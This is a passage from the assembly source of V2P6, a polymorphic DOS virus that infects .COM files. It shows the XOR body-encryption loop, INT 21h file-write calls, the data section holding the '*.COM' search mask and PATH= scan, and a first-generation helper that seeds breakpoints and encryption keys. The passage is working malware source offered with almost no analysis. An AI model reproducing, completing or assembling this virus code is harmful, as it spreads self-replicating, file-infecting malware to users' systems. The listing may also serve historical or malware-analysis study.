  976.    AND DX,0FFH
  977.    MOV CX,WORD PTR[BP-018H]
  978.    ADD CX,[O27H]
  979.    ADD CX,DX
  980.    MOV DX,SI
  981.    SUB DX,05CDH
  982.    INT 021H
  983.    PUSHF
  984.    PUSH AX
  985.    MOV CX,WORD PTR[BP-018H]
  986.    MOV AX,WORD PTR[BP-016H]
  987.    MOV DI,SI
  988.    SUB DI,05A6H
  989.    CALL ENCRYPT_BODY
  990.    POP AX
  991.    POPF
  992.    RET
  993.  
  994. ENCRYPT_BODY:
  995.    XOR WORD PTR[DI],AX
  996.    DEC AX
  997.    INC DI
  998.   LOOP ENCRYPT_BODY
  999.    RET
  1000.  
  1001.    ;================= Data Section begins here ===============
  1002.  
  1003. RANDOM_KEY: 
  1004. DB 006H, 02CH 
  1005.  
  1006. STORAGE_OF_INITIAL_JUMP:
  1007. DB 0E9H, 0FDH, 0FEH 
  1008.  
  1009. NEW_JUMP_INSTRUCTION:
  1010. DB 0E9H, 00, 00 
  1011.  
  1012. FILE_SPEC: 
  1013. DB "*.COM", 00
  1014.  
  1015. OFFSET_OF_PATH:
  1016. DB "PATH="
  1017.  
  1018. WORK_AREA:
  1019. DB 64 DUP (0)
  1020.  
  1021. NEW_DTA:
  1022. DB 30 DUP (0) 
  1023.  
  1024. TARGET_FILE_NAME:
  1025. DB 13 DUP (0)
  1026.  
  1027. ;============ THE FOLLOWING IS NOT PART OF THE VIRUS =============
  1028. ;  Needed to insert initial random encryption values, etc.  for the
  1029. ;  first time. Values used here may correspond to Washburn's original 
  1030. ;  values.  They were obtained from a sample of V2P6 which might have
  1031. ;  been an original compilation of the virus by its author.
  1032.  
  1033. INSERT_ENCRYPTION_TECHNIQUES:
  1034.    XOR BP,BP
  1035.    MOV BX,OFFSET TRANS_TABLE
  1036.    MOV SI,OFFSET START
  1037.    MOV DI,OFFSET REAL_NOPS
  1038.    MOV DX,OFFSET REAL_NOP
  1039.    INC DI
  1040.    ADD DX,3
  1041.  
  1042.   SEARCH_FOR_NOPS:
  1043.    INC SI
  1044.    CMP SI,OFFSET EXIT
  1045.    JE ANOTHER_RET
  1046.    CMP SI,DI
  1047.    JE LEAVE_IN
  1048.    CMP SI,DX
  1049.    JE LEAVE_IN
  1050.    CMP WORD PTR[SI],09090H
  1051.    JNE SEARCH_FOR_NOPS
  1052.    CALL INSERT_BREAKPOINT_AND_XORING_VALUE
  1053.   LEAVE_IN:
  1054.    JMP SHORT SEARCH_FOR_NOPS
  1055.  
  1056. INSERT_BREAKPOINT_AND_XORING_VALUE:
  1057.    MOV BYTE PTR[SI],0CCH
  1058.    MOV AX,BP
  1059.    XLATB
  1060.    MOV BYTE PTR[SI+1],AL
  1061.    XOR BYTE PTR[SI+2],AL
  1062.    INC BP
  1063.   ANOTHER_RET:
  1064.    RET
  1065.  
  1066. TRANS_TABLE:
  1067.    DB 08BH, 060H, 0D4H, 0C6H, 048H, 057H, 016H, 06EH
  1068.    DB 0D3H, 087H, 080H, 000H, 090H, 07EH, 051H, 056H
  1069.    DB 056H, 0F6H, 062H, 074H, 072H, 072H, 032H, 00AH
  1070.    DB 0AFH, 03BH, 0AAH, 0BBH, 0FAH, 041H, 038H, 009H
  1071.    DB 02FH, 0ABH, 0DCH, 0E5H, 004H, 010H, 08EH, 01FH
  1072.    DB 00DH, 04FH, 0F7H, 002H, 0F0H, 002H, 050H, 036H
  1073.    DB 04AH, 037H, 04AH, 077H, 0B2H, 07AH, 0B1H, 07AH
  1074.    DB 031H
  1075.  
  1076.  O10H  EQU  010H
  1077.  O3CH  EQU  03CH
  1078.  ODH   EQU  0DH
  1079.  OFH   EQU  0FH
  1080.  O1BH  EQU  01BH
  1081.  O6    EQU  06
  1082.  O1AH  EQU  01AH
  1083.  O4    EQU  04
  1084.  O7    EQU  07
  1085.  O5CH  EQU  05CH
  1086.  O24H  EQU  024H
  1087.  O6AH  EQU  06AH
  1088.  O1    EQU  01
  1089.  O2CH  EQU  02CH
  1090.  OO10H EQU  0010H
  1091.  O22H  EQU  022H
  1092.  O27H  EQU  027H
  1093.  ZERO  EQU  0
  1094.  
  1095.  
  1096. V2P6 ENDP
  1097. CODE_SEG ENDS
  1098. END V2P6
  1099.